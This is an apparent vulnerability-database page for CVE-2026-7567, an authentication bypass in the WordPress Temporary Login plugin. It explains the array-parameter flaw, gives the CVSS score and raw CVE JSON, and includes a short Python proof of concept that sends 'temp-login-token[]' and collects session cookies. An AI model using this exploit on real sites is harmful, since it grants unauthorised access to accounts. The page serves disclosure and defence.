Security Vulnerability Report
中文
CVE-2026-7567 CVSS 9.8 CRITICAL

CVE-2026-7567

Published: 2026-05-01 10:15:58
Last Modified: 2026-05-01 15:26:25

Description

The Temporary Login plugin for WordPress is vulnerable to Authentication Bypass in versions up to and including 1.0.0. This is due to improper input validation in the maybe_login_temporary_user() function, which fails to verify that the 'temp-login-token' GET parameter is a scalar string before processing it. When the parameter is supplied as an array, PHP's empty() check is bypassed and sanitize_key() returns an empty string, which is then passed as the meta_value to get_users(). WordPress ignores an empty meta_value and returns all users matching the meta_key '_temporary_login_token', allowing authentication without a valid token. This makes it possible for unauthenticated attackers to authenticate as any active temporary login user by sending a single crafted GET request.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Temporary Login Plugin <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target): """ PoC for CVE-2026-7567. Bypasses authentication by sending an array parameter. """ url = f"{target}/" # Payload: Send parameter as an array to bypass validation params = {"temp-login-token[]": "bypass"} try: r = requests.get(url, params=params, timeout=10) if r.cookies: print("[+] Auth bypass likely successful. Cookies:") print(r.cookies.get_dict()) else: print("[-] Failed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit("http://example.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7567", "sourceIdentifier": "[email protected]", "published": "2026-05-01T10:15:58.080", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Temporary Login plugin for WordPress is vulnerable to Authentication Bypass in versions up to and including 1.0.0. This is due to improper input validation in the maybe_login_temporary_user() function, which fails to verify that the 'temp-login-token' GET parameter is a scalar string before processing it. When the parameter is supplied as an array, PHP's empty() check is bypassed and sanitize_key() returns an empty string, which is then passed as the meta_value to get_users(). WordPress ignores an empty meta_value and returns all users matching the meta_key '_temporary_login_token', allowing authentication without a valid token. This makes it possible for unauthenticated attackers to authenticate as any active temporary login user by sending a single crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/admin.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/admin.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/options.php#L157", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/admin.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/admin.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/options.php#L157", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f97c669b-86c1-4873-a050-76972f494099?source=cve", "source": "[email protected]"}]}}